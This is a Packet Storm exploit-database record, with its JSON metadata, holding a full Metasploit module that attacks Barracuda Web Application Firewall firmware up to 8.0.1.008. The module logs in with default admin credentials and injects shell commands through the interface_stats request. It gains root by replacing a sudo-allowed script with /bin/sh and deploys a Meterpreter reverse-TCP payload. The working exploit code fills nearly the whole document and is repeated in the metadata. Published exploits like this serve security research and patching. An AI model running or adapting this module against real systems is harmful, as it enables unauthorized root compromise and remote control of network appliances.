ID PACKETSTORM:138096
Type packetstorm
Reporter Russell Sanford
Modified 2016-07-29T00:00:00
Description
`# Exploit Title: Barracuda Web Application Firewall <= v8.0.1.008 Post Auth Remote Root Exploit
# Date: 07/28/16
# Exploit Author: xort xort@blacksecurity.org
# Vendor Homepage: https://www.barracuda.com/
# Software Link: https://www.barracuda.com/products/webapplicationfirewall
# Version: Web App Firewall Firmware <= 8.0.1.008 (2016-03-22)
# Tested on: Web App Firewall Firmware <= v8.0.1.008 (2016-03-22)
# CVE : None.
# vuln: interface_stats
require 'msf/core'
require 'date'
require "base64"
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Barracuda Web Application Firewall <= v8.0.1.008 Post Auth Root Exploit',
'Description' => %q{
This module exploits a remote command execution vulnerability in the Barracuda Web
Application Firweall firmware versions <= v8.0.1.008 (2016-03-22) by exploiting a
vulnerability in the web administration interface. By sending a specially crafted
request it's possible to inject system commands while escalating to root do to relaxed
sudo configuration on the local machine.
},
'Author' => [ 'xort' ], # disclosure and exploit module
'References' => [ [ 'none', 'none'] ],
'Platform' => [ 'linux'],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'Targets' => [['Web Application Firewall <= v8.0.1.008 (2016-03-22)', {}]],
'DefaultTarget' => 0 ))
register_options(
[
OptString.new('PASSWORD', [ false, 'Password', "admin" ]),
OptString.new('USERNAME', [ true, 'Admin Username', "admin" ]),
OptString.new('CMD', [ false, 'Command to execute', "" ]),
Opt::RPORT(8000),
], self.class)
end
def do_login(username, password_clear, et)
vprint_status( "Logging into machine with credentials...\n" )
# vars
timeout = 1550;
enc_key = Rex::Text.rand_text_hex(32)
# send request
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/cgi-mod/index.cgi",
'headers' =>
{
'Accept' => "application/json, text/javascript, */*; q=0.01",
'Content-Type' => "application/x-www-form-urlencoded",
'X-Requested-With' => "XMLHttpRequest"
},
'vars_post' =>
{
'enc_key' => enc_key,
'et' => et,
'user' => "admin", # username,
'password' => "admin", # password_clear,
'enctype' => "none",
'password_entry' => "",
'login_page' => "1",
'login_state' => "out",
'real_user' => "",
'locale' => "en_US",
'form' => "f",
'Submit' => "Sign in",
}
}, timeout)
# get rid of first yank
password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]
return password, et
end
def run_command(username, password, et, cmd)
# file to replace
sudo_cmd_exec = "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "
vprint_status( "Running Command...\n" )
# random filename to dump too + 'tmp' HAS to be here.
b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))
# decoder stubs - tells 'base64' command to decode and dump data to temp file
b64decode1 = "echo \""
b64decode2 = "\" | base64 -d >" + b64dumpfile
# base64 - encode with base64 so we can send special chars and multiple lines
cmd = Base64.strict_encode64(cmd)
# Create injection string.
# a) package the base64 decoder with encoded bytes
# b) attach a chmod +x request to make the script created (b64dumpfile) executable
# c) execute decoded base64 dumpfile
injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile + " ; rm " + b64dumpfile
# injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile
vprint_status( "sending..." )
res = send_request_cgi({
'method' => 'GET',
'uri' => "/cgi-mod/index.cgi",
'headers' =>
{
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
},
'vars_get' => {
'ajax_action' => 'interface_stats',
'user' => username,
'password' => password,
'et' => et,
'locale' => 'en_US',
'realm' => '',
'auth_type' => 'Local',
'primary_tab' => 'BASIC',
'secondary_type' => 'status',
'interface' => 'eth0' + '| ' + injection_string + ' |echo ' # vuln
}
})
end
def exploit
# params
timeout = 1550;
real_user = "";
et = Time.now.to_i
user = datastore['USERNAME']
password = datastore['PASSWORD']
# do login and get password hash
password_hash, et = do_login(user, password, et)
vprint_status("got password hash: #{password_hash}\n")
sleep(2)
#if no 'CMD' string - add code for root shell
if not datastore['CMD'].nil? and not datastore['CMD'].empty?
cmd = datastore['CMD']
# Encode cmd payload
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
# kill stale calls to bdump from previous exploit calls for re-use
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
else
# Encode payload to ELF file for deployment
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
# kill stale calls to bdump from previous exploit calls for re-use
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
handler
end
end
end
`
{"type": "packetstorm", "published": "2016-07-29T00:00:00", "reporter": "Russell Sanford", "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "d4be9c4fc84262b4f39f89565918568f"}, {"key": "description", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "href", "hash": "3f2f194466d152ba00e9f45e7a76a214"}, {"key": "modified", "hash": "816f859fa898526e32ae2ab29182ca3f"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "816f859fa898526e32ae2ab29182ca3f"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "11dc00c59720f3b4cd8aa86be7c407b6"}, {"key": "sourceData", "hash": "1eb720495a4bce92c50afc48f8f28430"}, {"key": "sourceHref", "hash": "92330c7e9fcf16312c2a521096228034"}, {"key": "title", "hash": "79ccdc6c92bd45fa24d3daeef249e453"}, {"key": "type", "hash": "6466ca3735f647eeaed965d9e71bd35d"}], "bulletinFamily": "exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceData": "`# Exploit Title: Barracuda Web Application Firewall <= v8.0.1.008 Post Auth Remote Root Exploit \n# Date: 07/28/16 \n# Exploit Author: xort xort@blacksecurity.org \n# Vendor Homepage: https://www.barracuda.com/ \n# Software Link: https://www.barracuda.com/products/webapplicationfirewall \n# Version: Web App Firewall Firmware <= 8.0.1.008 (2016-03-22) \n# Tested on: Web App Firewall Firmware <= v8.0.1.008 (2016-03-22) \n# CVE : None. \n \n# vuln: interface_stats \n \nrequire 'msf/core' \nrequire 'date' \nrequire \"base64\" \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \ninclude Exploit::Remote::Tcp \ninclude Msf::Exploit::Remote::HttpClient \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Barracuda Web Application Firewall <= v8.0.1.008 Post Auth Root Exploit', \n'Description' => %q{ \nThis module exploits a remote command execution vulnerability in the Barracuda Web \nApplication Firweall firmware versions <= v8.0.1.008 (2016-03-22) by exploiting a \nvulnerability in the web administration interface. By sending a specially crafted \nrequest it's possible to inject system commands while escalating to root do to relaxed \nsudo configuration on the local machine. \n}, \n'Author' => [ 'xort' ], # disclosure and exploit module \n'References' => [ [ 'none', 'none'] ], \n'Platform' => [ 'linux'], \n'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, \n'Targets' => [['Web Application Firewall <= v8.0.1.008 (2016-03-22)', {}]], \n'DefaultTarget' => 0 )) \n \nregister_options( \n[ \nOptString.new('PASSWORD', [ false, 'Password', \"admin\" ]), \nOptString.new('USERNAME', [ true, 'Admin Username', \"admin\" ]), \nOptString.new('CMD', [ false, 'Command to execute', \"\" ]), \nOpt::RPORT(8000), \n], self.class) \nend \n \ndef do_login(username, password_clear, et) \nvprint_status( \"Logging into machine with credentials...\\n\" ) \n \n# vars \ntimeout = 1550; \nenc_key = Rex::Text.rand_text_hex(32) \n \n# send request \nres = send_request_cgi( \n{ \n'method' => 'POST', \n'uri' => \"/cgi-mod/index.cgi\", \n'headers' => \n{ \n'Accept' => \"application/json, text/javascript, */*; q=0.01\", \n'Content-Type' => \"application/x-www-form-urlencoded\", \n'X-Requested-With' => \"XMLHttpRequest\" \n}, \n'vars_post' => \n{ \n \n'enc_key' => enc_key, \n'et' => et, \n'user' => \"admin\", # username, \n'password' => \"admin\", # password_clear, \n'enctype' => \"none\", \n'password_entry' => \"\", \n'login_page' => \"1\", \n'login_state' => \"out\", \n'real_user' => \"\", \n'locale' => \"en_US\", \n'form' => \"f\", \n'Submit' => \"Sign in\", \n} \n}, timeout) \n \n# get rid of first yank \npassword = res.body.split('\\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result \net = res.body.split('\\n').grep(/(.*)et=([^&]+)&/){$2}[0] \n \nreturn password, et \nend \n \ndef run_command(username, password, et, cmd) \n \n# file to replace \nsudo_cmd_exec = \"/home/product/code/firmware/current/bin/config_agent_wrapper.pl\" \n \nsudo_run_cmd_1 = \"sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}\" \nsudo_run_cmd_2 = \"sudo #{sudo_cmd_exec} -c \" \n \nvprint_status( \"Running Command...\\n\" ) \n \n# random filename to dump too + 'tmp' HAS to be here. \nb64dumpfile = \"/tmp/\" + rand_text_alphanumeric(4+rand(4)) \n \n# decoder stubs - tells 'base64' command to decode and dump data to temp file \nb64decode1 = \"echo \\\"\" \nb64decode2 = \"\\\" | base64 -d >\" + b64dumpfile \n \n# base64 - encode with base64 so we can send special chars and multiple lines \ncmd = Base64.strict_encode64(cmd) \n \n# Create injection string. \n# a) package the base64 decoder with encoded bytes \n# b) attach a chmod +x request to make the script created (b64dumpfile) executable \n# c) execute decoded base64 dumpfile \n \ninjection_string = b64decode1 + cmd + b64decode2 + \"; /bin/chmod +x \" + b64dumpfile + \"; \" + sudo_run_cmd_1 + \"; \" + sudo_run_cmd_2 + b64dumpfile + \" ; rm \" + b64dumpfile \n \n# injection_string = b64decode1 + cmd + b64decode2 + \"; /bin/chmod +x \" + b64dumpfile + \"; \" + sudo_run_cmd_1 + \"; \" + sudo_run_cmd_2 + b64dumpfile \n \nvprint_status( \"sending...\" ) \nres = send_request_cgi({ \n'method' => 'GET', \n'uri' => \"/cgi-mod/index.cgi\", \n'headers' => \n{ \n'UserAgent' => \"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0\", \n}, \n'vars_get' => { \n'ajax_action' => 'interface_stats', \n'user' => username, \n'password' => password, \n'et' => et, \n'locale' => 'en_US', \n'realm' => '', \n'auth_type' => 'Local', \n'primary_tab' => 'BASIC', \n'secondary_type' => 'status', \n \n'interface' => 'eth0' + '| ' + injection_string + ' |echo ' # vuln \n} \n}) \n \nend \n \ndef exploit \n \n# params \ntimeout = 1550; \n \nreal_user = \"\"; \net = Time.now.to_i \nuser = datastore['USERNAME'] \npassword = datastore['PASSWORD'] \n \n# do login and get password hash \npassword_hash, et = do_login(user, password, et) \nvprint_status(\"got password hash: #{password_hash}\\n\") \nsleep(2) \n \n#if no 'CMD' string - add code for root shell \nif not datastore['CMD'].nil? and not datastore['CMD'].empty? \n \ncmd = datastore['CMD'] \n \n# Encode cmd payload \nencoded_cmd = cmd.unpack(\"H*\").join().gsub(/(\\w)(\\w)/,'\\\\x\\1\\2') \n \n# kill stale calls to bdump from previous exploit calls for re-use \nrun_command(user, password_hash, et, (\"sudo /bin/rm -f /tmp/n ;printf \\\"#{encoded_cmd}\\\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n\" )) \nelse \n# Encode payload to ELF file for deployment \nelf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) \nencoded_elf = elf.unpack(\"H*\").join().gsub(/(\\w)(\\w)/,'\\\\x\\1\\2') \n \n# kill stale calls to bdump from previous exploit calls for re-use \nrun_command(user, password_hash, et, (\"sudo /bin/rm -f /tmp/m ;printf \\\"#{encoded_elf}\\\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m\" )) \n \nhandler \nend \nend \nend \n`\n", "viewCount": 0, "history": [], "lastseen": "2016-11-03T10:23:39", "objectVersion": "1.2", "href": "https://packetstormsecurity.com/files/138096/Barracuda-Web-Application-Firewall-8.0.1.008-Post-Auth-Root.html", "sourceHref": "https://packetstormsecurity.com/files/download/138096/barracuda_webappfw_interface_stats_POSTAUTH_RCE.rb.txt", "title": "Barracuda Web Application Firewall 8.0.1.008 Post Auth Root", "enchantments": {"score": {"value": 0.3, "vector": "NONE", "modified": "2016-11-03T10:23:39"}, "dependencies": {"references": [], "modified": "2016-11-03T10:23:39"}, "vulnersScore": 0.3}, "references": [], "id": "PACKETSTORM:138096", "hash": "967db5bbdda02aa85612ddf9550cc147c53d6939ae6d6ff3324572f22f4d2c36", "edition": 1, "cvelist": [], "modified": "2016-07-29T00:00:00", "description": ""}
{}